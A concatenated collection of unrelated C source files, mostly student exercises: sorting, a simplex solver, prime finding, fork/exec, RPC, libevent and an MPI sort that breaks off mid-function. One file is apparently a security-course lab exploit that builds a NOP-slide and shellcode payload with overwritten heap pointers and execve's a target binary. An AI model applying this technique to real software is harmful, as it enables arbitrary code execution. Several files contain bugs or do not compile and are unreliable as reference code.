AddExit("norte", GORAT("templo_entrada") );
AddExit("oeste", GORAT("mirador") );
}
|
C | #include <stdlib.h>
#include <stdio.h>
#include "font.h"
#define asc2idx(asc) (asc-32)
void prsym(int idx) {
int iline;
char *(*symbol)[SYMBOL_HEIGHT] = &alphabet[idx];
for(iline = 0; iline!=SYMBOL_HEIGHT; ++iline){
puts((*symbol)[iline]);
puts("\n");
}
}
void printLine (int line, int argc2, char **argv2){
int arg;
for(arg = 1; arg != argc2; ++arg) {
char *c = argv2[arg];
while(*c) {
puts(alphabet[asc2idx(*c)][line]);
++c;
}
if(arg!=argc2-1)
puts(alphabet[asc2idx(' ')][line]);
}
}
void printWord (int argc1, char **argv1){
int line;
for(line = 0; line != SYMBOL_HEIGHT; ++line) {
printLine(line, argc1, argv1);
puts("\n");
}
}
/*int main(int argc, char **argv) {
printWord(argc,argv);
return 0;
}*/ |
C | //
// Created by 89674 on 2019/7/17.
//
#ifndef BASE_LEARN_SORTALGORI_H
#define BASE_LEARN_SORTALGORI_H
/**
* 几种常见的排序算法
*/
// 1. 快速排序
void quickSort(int arr[], int left, int right)
{
if (left < right)
{
int key = arr[left]; //比较点,这是第一个坑,将left位置的value存入key中,坑就出来了
int i = left, j = right;
while (i < j)
{
while (arr[j] > key && j > i) //arr[j] > key可以换为arr[j] >= key,但j > i不可以换为j >= i,边界问题
j--;
if (i < j)
arr[i++] = arr[j];
while (arr[i] < key && i < j) //同理
i++;
if (i < j)
arr[j--] = arr[i];
}
arr[i] = key; //此时不用纠结是arr[i] = key还是arr[j] = key,因为i = j
quickSort(arr, left, i - 1);
quickSort(arr, i + 1, right);
}
}
// 2. 堆排序
#endif //BASE_LEARN_SORTALGORI_H
|
C | #include <stdio.h>
double f(double argument) {
return argument + 2;
}
double g(double a) {
return a - 1;
}
|
C | #ifndef __board_h__
#define __board_h__
#include <stdbool.h>
#include <stdint.h>
#define RIGHT 0
#define LEFT 1
#define UP 2
#define DOWN 3
/* Board size */
#define SIZE 4
typedef struct Board {
uint32_t board[SIZE][SIZE];
int score;
} Board;
typedef struct Change {
int score_diff;
bool moved;
} Change;
typedef Change (*merger)(uint32_t v[SIZE]);
bool zero_end(uint32_t v[SIZE]);
bool zero_begin(uint32_t v[SIZE]);
void transpose(uint32_t v[SIZE][SIZE]);
Change merge_left(uint32_t v[SIZE]);
Change merge_right(uint32_t v[SIZE]);
bool move(Board *b, int d);
void fill_random(Board *b);
int count_empty(const Board *b);
bool can_merge(const Board *b);
bool is_end(const Board *b);
bool is_same(const Board a, const Board b);
void copy_board(Board *dest, const Board *src);
void print_array(const int v[SIZE]);
void print(const Board b);
Board init_board();
#endif
|
C | #include<unistd.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<string.h>
#include<fcntl.h>
#include<event2/event.h>
// 对操作的回调函数
void write_cb(evutil_socket_t fd,short what,void *arg)
{
// 写管道的操作
char buf[1024] = {0};
static int num = 0;
sprintf(buf,"hello,world==%d\n",num++);
write(fd,buf,strlen(buf)+1);
}
int main(int argc,char *argv[])
{
// open file
int fd = open("myfifo",O_WRONLY|O_NONBLOCK);
if(fd == -1)
{
perror("open error");
exit(1);
}
// 写管道
struct event_base* base = NULL;
base = event_base_new();
// 创建事件
struct event* ev = NULL;
// 检测的是写缓冲区是否有空间写
ev = event_new(base,fd,EV_WRITE | EV_PERSIST,write_cb,NULL);
// 添加事件
event_add(ev,NULL);
// 进入事件循环
event_base_dispatch(base);
// 释放资源
event_free(ev);
event_base_free(base);
close(fd);
return 0;
} |
C | #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<string.h>
#include<locale.h>
#include<time.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
void errif(int condition, char* msg)
{
if (condition)
{
printf("%s: %s\n", msg, strerror(errno));
// return(-1);
}
}
int Search_in_File(char *fname, char *str) {
FILE *fp;
int fd;
int line_num = 1;
int find_result = 0;
char temp[512];
struct stat statbuf;
long int total_bytes;
long int i;
double percent;
time_t t;
time_t start_time;
long seconds_left;
long seconds_elapsed;
struct tm * time_left;
struct tm * time_elapsed;
char timestr[50];
char elapsed[50];
setlocale(LC_ALL, "");
fp = fopen(fname, "r");
fd = fileno(fp);
errif(fp == NULL, "fopen");
/* get capacity */
errif(fstat(fd, &statbuf) != 0, "stat" );
total_bytes = statbuf.st_size;
t = time(0);
start_time = time(0);
for (i=0; i < total_bytes; i++)
{
errif( fseek(fp, i, 0) != 0, "fseek");
if(time(0) > t)
{
t = time(0);
percent = i / (double) total_bytes;
//seconds_left = seconds_elapsed * bytes_remaining / (double) i;
seconds_elapsed = (t - start_time);
seconds_left = (t - start_time) * (total_bytes - i) / (double) i;
seconds_left = 3600 * 24 * 3 + 3600 + 60 + 30;
time_elapsed = gmtime ( &seconds_elapsed );
strftime(elapsed, sizeof(elapsed), "%T", time_elapsed);
time_left = gmtime ( &seconds_left );
strftime(timestr, sizeof(timestr), "%j|%T", time_left);
fprintf(stderr, "%f%% (%'ld of %'ld), %d:%s elapsed, %d:%s remaining\n",
percent*100, i, total_bytes,
time_elapsed->tm_yday, elapsed,
time_left->tm_yday, timestr);
}
}
/*Seek to byte n */
while(fgets(temp, 512, fp) != NULL) {
if((strstr(temp, str)) != NULL) {
printf("A match found on line: %d\n", line_num);
printf("\n%s\n", temp);
find_result++;
}
line_num++;
}
if(find_result == 0) {
printf("\nSorry, couldn't find a match.\n");
}
//Close the file if still open.
if(fp) {
fclose(fp);
}
return(0);
}
void Usage(char* filename)
{
printf("Usage %s <file> <string>\n", filename);
}
//Our main function.
int main(int argc, char *argv[]) {
int result, errno;
if(argc < 3 || argc > 3) {
Usage(argv[0]);
exit(1);
}
//Use system("cls") on windows
//Use system("clear") on Unix/Linux
system("clear");
result = Search_in_File(argv[1], argv[2]);
if(result == -1) {
perror("Error");
printf("Error number = %d\n", errno);
exit(1);
}
return(0);
}
|
C | #include<stdio.h>
void find_greatest(int *vote_count,int *status,int candidates,int *winner1,int *winner2)
{
int temp=-32767,i,winner=-1;
for(i=1;i<=candidates;i++)
{
if(vote_count[i]>temp&&status[i]==0)
{
temp=vote_count[i];
winner=i;
}
}
status[winner]=1;
*winner1=winner;
temp=-32767; winner=-1;
for(i=1;i<=candidates;i++)
{
if(vote_count[i]>temp&&status[i]==0)
{
temp=vote_count[i];
winner=i;
}
}
*winner2=winner;
}
int find_winner(int cand1,int cand2,int preference[102][102],int voters,int candidates)
{
int i,j,votes_1=0,votes_2=0;
for(i=1;i<=voters;i++)
{
for(j=1;j<=candidates;j++)
{
if(preference[i][j]==cand1)
{ votes_1++;
break;
}
else if(preference[i][j]==cand2)
{ votes_2++;
break;
}
}
}
if(votes_1>votes_2)
return cand1;
else
return cand2;
}
int main()
{
int test_cases,candidates,voters,i,preference[102][102],j,k,vote_count[102],status[102],winner,cand1,cand2,round;
scanf("%d",&test_cases);
for(i=0;i<test_cases;i++)
{
scanf("%d",&candidates);
scanf("%d",&voters);
winner=-1;
round=1;
for(j=1;j<=candidates;j++)
{ vote_count[j]=0;
status[j]=0;
}
for(j=1;j<=voters;j++)
{
for(k=1;k<=candidates;k++)
scanf("%d",&preference[j][k]);
}
for(j=1;j<=voters;j++)
vote_count[preference[j][1]]++;
for(j=1;j<=candidates;j++)
if(vote_count[j]>(voters/2))
winner=j;
if(winner==-1)
{
round=2;
find_greatest(vote_count,status,candidates,&cand1,&cand2);
winner=find_winner(cand1,cand2,preference,voters,candidates);
}
printf("%d %d\n",winner,round);
}
return 0;
}
|
C | #include <stdio.h>
#include <string.h>
#include "ece454rpc_types.h"
int ret_int;
return_type r;
return_type nop(const int nparams, arg_type* a) {
if(nparams != 0) {
/* Error! */
r.return_val = NULL;
r.return_size = 0;
return r;
}
ret_int = 189998;
r.return_val = (void *)(&ret_int);
r.return_size = sizeof(int);
return r;
}
return_type add(const int nparams, arg_type* a) {
if(nparams != 2) {
/* Error! */
r.return_val = NULL;
r.return_size = 0;
return r;
}
if(a->arg_size != sizeof(int) ||
a->next->arg_size != sizeof(int)) {
/* Error! */
r.return_val = NULL;
r.return_size = 0;
return r;
}
int i = *(int *)(a->arg_val);
int j = *(int *)(a->next->arg_val);
ret_int = i+j;
r.return_val = (void *)(&ret_int);
r.return_size = sizeof(int);
return r;
}
return_type concat(const int nparams, arg_type* a) {
if(nparams != 2) {
/* Error! */
r.return_val = NULL;
r.return_size = 0;
return r;
}
char* i = (char *)(a->arg_val);
char* j = (char *)(a->next->arg_val);
char *ret = strcat(i, j);
r.return_val = (void *)(ret);
r.return_size = strlen(ret);
return r;
}
int main() {
register_procedure("addtwo", 2, add);
register_procedure("concat", 2, concat);
register_procedure("nop", 0, nop);
launch_server();
/* should never get here, because
launch_server(); runs forever. */
return 0;
}
|
C | /*
Максимальное и минимальное число, которое могут хранить переменные типа int
Диапазон значений переменной типа int ограничен
Такие переменные могут принимать значения от -2147483648 до 2147483647 включительно
Почему такие значения?
Потому что все переменные типа int имеют фиксированный размер в 4 байта
4 байта = 32 бита. Соответственно такие переменные кодируются 32-мя битами.
Так как 1 бит может принимать 2 значения, то число всевозможных комбинаций 32-х бит это 2^32 (то есть 2 в степени 32)
Поэтому переменные типа int могут принимать 2^32 различных значений.
Так как они ещё могут принимать отрицательные значения и ноль то получается диапазон от -2^(31) до 2^(31) - 1
Если перейти этот предел, то может произойти всё что угодно (это ошибка).
*/
#include <stdio.h>
int main()
{
int a = 2147483647;
printf("%i\n", a + 10);
} |
C | /*
** vector_rotation.c for rtv1 in /home/bourhi_a/tmp/RTV1/src/forms
**
** Made by amine bourhime
** Login <[email protected]>
**
** Started on Wed Jan 22 18:52:07 2014
** Last update Fri Jan 24 02:07:41 2014
*/
#include <rtv1.h>
void rotate_vector_x(t_dpoint *vector, double rad_angle)
{
double tmp;
tmp = vector->y * cos(rad_angle) - vector->z * sin(rad_angle);
vector->z = vector->y * sin(rad_angle) + vector->z * cos(rad_angle);
vector->y = tmp;
}
void rotate_vector_y(t_dpoint *vector, double rad_angle)
{
double tmp;
tmp = vector->x * cos(rad_angle) + vector->z * sin(rad_angle);
vector->z = -vector->x * sin(rad_angle) + vector->z * cos(rad_angle);
vector->x = tmp;
}
void rotate_vector_z(t_dpoint *vector, double rad_angle)
{
double tmp;
tmp = vector->x * cos(rad_angle) - vector->y * sin(rad_angle);
vector->y = vector->x * sin(rad_angle) + vector->y * cos(rad_angle);
vector->x = tmp;
}
|
C | /**ʾfork
* This program forks a separate process using the fork() system calls.
*$ gcc -o newproc_posix newproc_posix.c
*$ ./newproc_posix
* ۲죺1ABCֱ˼Σ 2CУֵǶ٣ Ϊʲô
**/
#include <stdio.h>
#include <stdlib.h> //for malloc
#include <string.h> //for mesmset,strcpy
#include <unistd.h>
#include <sys/types.h>
int main()
{
pid_t pid;
pid_t pid2;
int var=88;
char *str = (char*)malloc(sizeof(char)*10);
memset(str, 0x00, 10);
/* fork a child process */
pid = fork();
if (pid < 0) { /* error occurred */
fprintf(stderr, "Fork Failed\n");
return 1;
}
else if (pid == 0) { /* child process */
printf("I am the child %d\n",pid); //A
pid2 = getpid();
printf("I am the child %d\n",pid2);
strcpy(str, "child");
var++;
//sleep(50);
}
else { /* parent process */
pid2 = getpid();
printf("I am the parent %d and creae the child %d\n",pid2,pid); //B
strcpy(str, "parent");
//sleep(50); //Ϊcat /proc/{pid}/maps
wait(NULL);/* parent will wait for the child to complete */
printf("Child Complete\n");
}
printf("str=%s, strAdd=%p, var=%d, varAdd=%p\n", str, str, var, &var);//C
return 0;
}
|
C | /*
* Header file for bheap.c.
*
* This file is copyright 2005 Simon Tatham.
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL SIMON TATHAM BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
* CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef BHEAP_H
#define BHEAP_H
typedef struct bheap bheap;
typedef int (*bheap_cmpfn_t)(void *ctx, const void *x, const void *y);
/*
* Create a new binary heap, of maximum size `maxelts'. `eltsize'
* is the size of each element (use `sizeof'). `compare' is the
* function that determines the ordering between elements;
* `compare_ctx' is passed as its first argument.
*
* If `direction' is +1, the heap sorts the largest things to the
* top, so it can return the largest element easily. If it's -1,
* the heap sorts the smallest things to the top.
*/
bheap *bheap_new(int maxelts, int eltsize, int direction,
bheap_cmpfn_t compare, void *compare_ctx);
/*
* Add an element to the heap. Returns `elt', or NULL if the heap
* is full.
*/
void *bheap_add(bheap *bh, void *elt);
/*
* Non-destructively read the topmost element in the heap and store
* it at `elt'. Returns `elt', or NULL if the heap is empty.
*/
void *bheap_topmost(bheap *bh, void *elt);
/*
* Remove, and optionally also read, the topmost element in the
* heap. Stores it at `elt' if `elt' is not itself NULL.
*
* Returns `elt', or NULL if the heap is empty. Note that if you
* pass elt==NULL the two cases can therefore not be distinguished!
*/
void *bheap_remove(bheap *bh, void *elt);
/*
* Count the number of elements currently in the heap.
*/
int bheap_count(bheap *bh);
/*
* Destroy a heap. If the elements in the heap need freeing, you'd
* better make sure there aren't any left before calling this
* function, because the heap code won't know about it and won't do
* anything.
*/
void bheap_free(bheap *bh);
#endif /* BHEAP_H */
|
C | #include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include "UDPCommon.h"
Status DoOperation (Message *message, Message *reply, int s, SocketAddress serverSA);
void getMessage(Message *newMsg);
void main(int argc,char **argv)
{
if(argc != 2){
printf("Usage: <serverIP>\n");
return;
}
int s, n;
char *machine = argv[1], hostn[80];
struct sockaddr_in clientAddr, serverAddr;
gethostname(hostn, 80);
if(( s = socket(AF_INET, SOCK_DGRAM, 0))<0) {
perror("socket failed");
return;
}
// used to be locals
makeLocalSA(&clientAddr);
//makeReceiverSA(&clientAddr, RECIPIENT_PORT);
if( bind(s, (struct sockaddr *)&clientAddr, sizeof(struct sockaddr_in))!= 0){
perror("Bind failed\n");
close (s);
return;
}
makeDestSA(&serverAddr, machine, RECIPIENT_PORT);
printf("Connected to server: ");
printSA(serverAddr);
Message *msg = malloc(sizeof(Message)), *reply = malloc(sizeof(Message));
do{
getMessage(msg);
DoOperation(msg, reply, s, serverAddr);
}while(strcmp("q", msg->data) != 0);
free(msg);
free(reply);
close(s);
}
void getMessage(Message *newMsg){
printf("Message to send: ");
fgets(newMsg->data, SIZE, stdin);
newMsg->length = strlen(newMsg->data)-1; // -1 to remove the newline char
newMsg->data[newMsg->length] = 0; // remove the newline
return;
}
Status DoOperation (Message *message, Message *reply, int s, SocketAddress serverSA){
int status = UDPsend(s, message, serverSA);
if(Ok != status){
printf("Send failed with code: %d\n", status);
perror("Send failed");
return status;
}
printf("Sent message: %s\n", message->data);
status = UDPreceive(s, reply, &serverSA);
if(Ok != status){
perror("Listening for reply failed");
return status;
}
printf("\tGot response (%s) from the server\n", reply->data);
return Ok;
}
|
C | /*
============================================================================
Name : EjercicioIntegrador.c
Author :
Version :
Copyright : Your copyright notice
Description : Hello World in C, Ansi-style
============================================================================
* Ejercicio 2:
* crear un programa que permita registrar el valor de temperatura maxima de cada dia de un mes.
* Definir un array de floats de 31 posiciones. Cada posicion corresponder a un dia
* del mes. Hacer un programa con un menu de dos opciones, 1.imprimir array y 2.cargar array
* Al elegir la opcion 1, se imprimira el indice y el valor de cada posicion del array.
* Al elegir la opcion 2 que le pida al usuario que ingrese un numero de dia (1 a 31)
* y luego que ingrese un valor de temperatura. Almacenar el valor en el indice correspondiente
* Ambas opciones deben volver al menu ppal.
* Utilizar la funcion utn_getNumeroFloat() de la biblioteca utn.h
*/
#include <stdio.h>
#include <stdlib.h>
#define MES 31
void imprimirArray(int dias[], int len);
void cargarArray(int dias[], int len);
int main(void) {
setbuf (stdout, NULL);
int opcion;
int dias[MES];
do
{
printf("1.IMPRIMIR ARRAY\n2.CARGAR ARRAY\n3.SALIR\n");
printf ("Elije una opcion: ");
scanf ("%d", &opcion);
switch(opcion)
{
case 1:
imprimirArray(dias, MES);
break;
case 2:
cargarArray(dias, MES);
break;
}
}while(opcion != 3);
}
void imprimirArray(int dias[], int len)
{
int i;
for (i=0;i<len;i++)
{
printf("Indice: %d - Valor de Temperatura: %d\n", i + 1, dias[i]);
}
}
void cargarArray(int dias[], int len)
{
int dia;
float temp;
printf ("Cargar un dia del mes 1/31: \n");
scanf ("%d", &dia);
printf ("Ingrese un valor de temperatura: \n");
scanf ("%f", &temp);
dias[dia - 1] = temp;
}
|
C | //
// main.c
// ADE
//
// Created by Josselin on 06/02/2020.
// Copyright © 2020 Josselin. All rights reserved.
//
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <unistd.h>
#include <time.h>
#include <sys/time.h>
void createT(int n, int m, double *c, double **a, double *b, double **T, int base[m]) {
int ind = 0;
for (int i = 0; i < n+m+1; i++) {
for (int j = 0; j < m+1; j++) {
if (j == m) { //ligne Z
if (i >= n) { //B et base
T[i][j] = 0.0;
}else{
T[i][j] = c[i];
}
}else{
if (i >= n) { //base et B
if (i == n+m) { //B
T[i][j] = b[j];
}else{ //base
if (i == j+n) {
T[i][j] = 1.0;
base[ind] = i;
ind++;
}else {
T[i][j] = 0.0;
}
}
}else{ //hors base
T[i][j] = a[j][i];
}
}
}
}
// for (int i = 0; i < m; i++) {
// printf("base%d : %d\n", i, base[i]);
// }
}
int findS(int m, int n, double **T) { //trouve la colonne du pivot
for (int i = 0; i < m+n; i++) {
if (T[i][m] > 0) {
//printf("findS : %d\n", i);
return i;
}
}
return -1;
}
int findR(int m, int n, int S, double **T, int base[m]) { //trouve la ligne du pivot
int R[m]; //tab des indice des div min
double min_res = 300; //res min de la div
int nbMin = 0; //nombre de div min
int flag = 0; //si colonne base
int minI = n+m; //indide min, regle de bland
int minR = m;//
for (int i = 0; i < m; i++) {
printf("ligne : %d\n", i);
printf("lignes restante : %d\n", m-i-1);
if (T[S][i] > 0) { //si la valeur neg, pas pivotable
printf("Z Positif : %f\n", T[S][i]);
if (T[m+n][i] / T[S][i] < min_res) {
min_res = T[m+n][i] / T[S][i]; //on divise la valeur de b par le valeur de la colonne
printf("div : %f\n", min_res);
for (int j = 0; j < m; j++) {
R[j] = -1;
}
R[0] = i;
nbMin = 1;
}else{
if (T[m+n][i] / T[S][i] == min_res) {
R[nbMin] = i;
printf("indice min : %d\n", i);
nbMin++;
}
}
}
}
// for (int i = 0; i < m; i++){
// printf("R%d : %d --> nbMin : %d\n", i, R[i], nbMin);
// }
printf("fin recherche min div\n");
for (int i = 0; i < nbMin; i++) {
for (int j = 0; j < m+n; j++) {
if (T[j][R[i]] == 1) {
flag = 0;
for (int k = 0; k < m+1 && flag == 0; k++) {
if (T[j][k] != 0 && k != R[i]) {
flag = 1;
}
}
if (flag == 0) {
if (minI > j) {
minI = j;
minR = R[i];
}
}
}
}
}
if (minR == m){
return -1;
}
for (int i = 0; i < m; i++) {
if (minI == base[i]) {
base[i] = S;
}
}
return minR;
}
void pivoter(int S, int R, int m, int n, double pivot, double **T) {
double alpha;
for (int i = 0; i < m+n+1; i++) {
T[i][R] = T[i][R] / pivot;
}
// printf("----------Div par pivot----------\n");
//
// for (int i = 0; i < m+1; i++) {
// for (int j = 0; j < m+n+1; j++) {
// printf("| %f |", T[j][i]);
// }
// printf("\n");
// }
for (int i = 0; i < m+1; i++) {
if (i != R) {
alpha = T[S][i] * (-1.0);
//printf("alpha : %f\n", alpha);
for (int j = 0; j < m+n+1; j++) {
//printf("pivote : %f + %f * %f = ", T[j][i], alpha, T[j][R]);
T[j][i] = T[j][i] + (alpha * T[j][R]);
// printf("%f\n", T[j][i]);
}
}
}
printf("----------après entré dans base----------\n");
for (int i = 0; i < m+1; i++) {
for (int j = 0; j < m+n+1; j++) {
printf("| %f |", T[j][i]);
}
printf("\n");
}
}
int main(int argc, const char * argv[]) {
//Valeurs exemple
//int n = 3;
//int m = 2;
//int p;
//double c[] = {3.0, 1.0, 2.0};
//double a[2][3] = {{1.0, 0.0, 4.0},{-2.0, 1.0, -5.0}};
//double b[] = {8.0, 10.0};
//Random des valeurs
srand(time(NULL));
int n = rand() % (100000 - 1000) + 1000; //Variables de décision
int m = rand() % (100 - 50) + 50; //Nombre de contraintes
//int p = rand() % (2000 - 500) + 500; //Nombre de programme linéaire
double c[n]; //Vecteur de profit
double b[m]; // Resultat
double ** a = malloc(m * sizeof(double)); //Contraintes
double ** T = malloc((n + m + 1) * sizeof(double)); //Matrice
for (int i = 0; i < m; m++) {
a[i] = malloc(n * sizeof(double));
}
for (int i = 0; i < n; i++) {
c[i] = rand() % 500;
}
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
a[i][j] = rand() % 100;
}
b[i] = rand() % (250 - 25) + 25;
}
for (int i = 0; i < n + m + 1; i++) {
T[i] = malloc((m + 1) * sizeof(double));
}
//Init des variables
int base[m]; //Indice de la base
int R = -2, S = -2; //Colonne et ligne du pivot
double pivot = -1; //Valeur du pivot
double opti; //Solution optimale
//création de la matric
createT(n, m, c, a, b, T, base);
//affichage du tableau
printf("----------Tableau----------\n");
for (int i = 0; i < m+1; i++) {
for (int j = 0; j < m+n+1; j++) {
printf("| %f |", T[j][i]);
}
printf("\n");
}
while (S != -1 && R != -1) {
//Trouver le pivot
printf("-----------Pivot-----------\n");
S = findS(m, n, T);
R = findR(m, n, S, T, base);
for (int i = 0; i < m; i++) {
printf("nouvelle base%d : %d\n", i, base[i]);
}
pivot = T[S][R];
printf("S : %d, R : %d, pivot : %f\n", S, R, pivot);
//Pivote
if (R != -1 && S != -1) {
pivoter(S, R, m, n, pivot, T);
}
//Calcul de la soltion optimal
opti = 0;
for (int i = 0; i < m; i++) {
opti = opti + c[base[i]] * T[n+m][i];
}
printf("Solution Optimale : %f\n", opti);
}
return 0;
}
|
C | #include<stdio.h>
void main()
{
int a[i];
printf("enter the digit");
scanf("%d",a[i]);
for(i=0;a[i]!='null';i++)
{
if(a[i]>='1'&&a[i]>='9')
{
printf("not special charater");
}
elseif(a[i]>='a'&&a[i]<='z')
{
printf("not special charater");
}
else
{
count++;
}
printf("%d",count);
}
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
/*
Description: Given an array (1000 max) of int,
return a array of the prime numbers
Prime number is a number > 1 that has no positive divisor
other than 1 and itself
Author: Anyes Taffard
*/
const int debug = 0; //1: debug mode
const int NLINES = 1000;
//Read file up to 1000 lines of numbers into an array
void readFile(char fileName[],
int* nEntries,
long unsigned int array[]);
//Given input array, return array of all the primes
void findPrimes(int nIn, int* nOut,
long unsigned int input[],
long unsigned int output[]);
//return 1 is the number is a prime
int isPrime(long unsigned int n);
//sort array in increasing number
void sort1DArray(int n, long unsigned int array[]);
//print array content
void print1DArray(int n, long unsigned int array[]);
//___________________________________________
//___________________________________________
int main(){
//Read file into array
long unsigned int aNums[NLINES];
int iLines=0;
readFile("findPrime.dat",&iLines,aNums);
//Find all the primes and store them into array
long unsigned int aPrimes[NLINES];
int nPrimesFound=0;
findPrimes(iLines, &nPrimesFound, aNums, aPrimes);
//sort the array
sort1DArray(nPrimesFound, aPrimes);
//print the outcome
print1DArray(nPrimesFound, aPrimes);
return 0;
}
//___________________________________________
void readFile(char fileName[],
int* nEntries,
long unsigned int array[])
{
FILE* fPtr;
fPtr = fopen(fileName,"r");
if( fPtr == NULL ){
printf("Cannot open file %s. Exitting\n",fileName);
exit(1);
}
*nEntries=0;
while( !feof(fPtr) && *nEntries<NLINES ){
fscanf(fPtr,"%lu ",&array[(*nEntries)++]);
}
(*nEntries)--; //-1 to remove the line w/ EOF
if(debug) printf("Read in %i numbers \n",*nEntries);
fclose(fPtr);
}
//___________________________________________
void findPrimes(int nIn, int *nOut,
long unsigned int input[],
long unsigned int output[])
{
*nOut=0;
for(int i=0; i<nIn; i++){
if(debug) printf("testing %lu \n",input[i]);
if( isPrime(input[i]) ){
output[(*nOut)++] = input[i];
}
}
}
//___________________________________________
int isPrime(long unsigned int n)
{
// Find if the number is not a prime using trial division
// http://en.wikipedia.org/wiki/Prime_number
// http://en.wikipedia.org/wiki/Primality_test
// - 1 not a prime.
// - Eliminate any even number >2, since n can also be divided by 2
if( n==1 || (n!=2 && n%2==0) ){
return 0;
}
else{
//Only need to test divisor <= sqrt(n)
long unsigned int sqrt_n = (long unsigned int) sqrt(n);
for(long unsigned int i=3; i<= sqrt_n; i+=2 ){
if( n%i==0 ) return 0;
}
if(debug) printf("\tIs prime\n");
return 1;
}
}
//___________________________________________
void sort1DArray(int n, long unsigned int array[])
{
for(int i=0; i<n; i++){
for(int j=i+1; j<n; j++){
if(array[i]>array[j]){
long unsigned int temp = array[j];
array[j]=array[i];
array[i]=temp;
}
}
}
}
//___________________________________________
void print1DArray(int n, long unsigned int array[])
{
if(n==0) printf("No prime number found. \n");
else printf("Found %i prime numbers: \n",n);
for(int i=0; i<n; i++){
printf("%lu ",array[i]);
//return carriage after 5 numbers
if( i>0 && i%5==0 ) printf("\n");
}
printf("\n");
}
|
C | /*
* This question is worth [20] points.
*
* Complete the following code so that it first forks a child and waits for it
* to terminate. During this time, the child process executes the binary
* /bin/ls and passes it the argument /bin so that it correctly lists the
* directory /bin. All output to the standard output of the child process
* should go to the file named ls.output. This file should be created if it
* does not exist with the permission 0600 and should be truncated if exists.
* You may use any form of exec including execl.
*
* ALL INCLUDE FILES YOU WILL NEED ARE INCLUDED! Do not include any other files.
*
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
int main() {
pid_t child = fork();
struct stat stats;
/* success, carry out child code */
if (child == 0){
execl("/bin/ls", "ls", "-l", (char *)0);
}
/* some type of error with the fork */
else if (child < 0){
return -1;
}
/* parent process will go here after the child has processed */
else{
int returnval;
waitpid(child, &returnval, 0);
}
return 0;
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode-64.h"
#define TARGET "../targets/target6"
#define NOP 0x090
#define NOPSLIDE 8
int main(void)
{
char *args[3];
char *env[1];
int ripAddr = 0x2021fe68;
int shellAddr = 0x104ee28;
int overflowSize = 81;
args[0] = TARGET; args[2] = NULL;
env[0] = NULL;
args[1] = malloc(sizeof(char) * overflowSize);
int i = 0;
for (i = 0; i < overflowSize; i++){
args[1][i] = NOP;
}
for (i = NOPSLIDE; i < strlen(shellcode) + NOPSLIDE; ++i) {
args[1][i] = shellcode[i-NOPSLIDE];
}
int *ptr = (int * )&(args[1][overflowSize-5]);
*ptr = ripAddr;
ptr = (int * )&(args[1][overflowSize-9]);
*ptr = shellAddr;
args[1][overflowSize - 1] = '\0';
args[1][4] = 0x91;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
//start with 8 byte long nop slide
//q -> left chunk at 0x0104ee70
//q -> right chunk at 0x0104eef0
// want left prev to point at shellcode
// want right next to point at return address
return 0;
}
|
C | #include <stdio.h>
#include <unistd.h>
#include <mpi.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
//Example compilation
//mpicc -O3 sort_act1_fhe2.c -lm -o sort_act1_fhe2
//Example execution
//mpirun -np 3 -hostfile myhostfile.txt ./sort_act1_fhe2
void generateData(int * data, int SIZE);
int compfn (const void * a, const void * b)
{
return ( *(int*)a - *(int*)b );
}
#define VERBOSE 0
//Do not change the seed
#define SEED 72
#define MAXVAL 1000000
// #define MAXVAL 1000
//Total input size is N, divided by nprocs
//Doesn't matter if N doesn't evenly divide nprocs
#define N 1000000000
// #define N 1000000
int main(int argc, char **argv) {
int my_rank, nprocs;
MPI_Init(&argc,&argv);
MPI_Comm_rank(MPI_COMM_WORLD,&my_rank);
MPI_Comm_size(MPI_COMM_WORLD,&nprocs);
//seed rng do not modify
srand(SEED+my_rank);
//local input size N/nprocs
const unsigned int localN=N/nprocs;
//All ranks generate data
int * data=(int*)malloc(sizeof(int)*localN);
generateData(data, localN);
int * sendDataSetBuffer=(int*)malloc(sizeof(int)*localN); //most that can be sent is localN elements
int * recvDatasetBuffer=(int*)malloc(sizeof(int)*localN); //most that can be received is localN elements
int * myDataSet=(int*)malloc(sizeof(int)*N); //upper bound size is N elements for the rank
//Write code here
///////////////////////////////////////////////////////////////////////////////////////////////////////////
if(my_rank == 0){
printf("Act 1: Uniform, Number of Ranks: %d\n\n",nprocs);
}
// Checking sum before
unsigned long int localsum = 0;
for(int i = 0; i < localN; i++){
localsum += data[i];
}
unsigned long int globalSum = 0;
MPI_Reduce(&localsum, &globalSum, 1, MPI_UNSIGNED_LONG, MPI_SUM, 0, MPI_COMM_WORLD);
if(my_rank == 0){
printf("Sum Before: %ld\n\n", globalSum);
}
unsigned long int localsum_cnt = 0;
unsigned long int globalSum_cnt = 0;
if(VERBOSE){
localsum_cnt =localN;
MPI_Reduce(&localsum_cnt, &globalSum_cnt, 1, MPI_UNSIGNED_LONG, MPI_SUM, 0, MPI_COMM_WORLD);
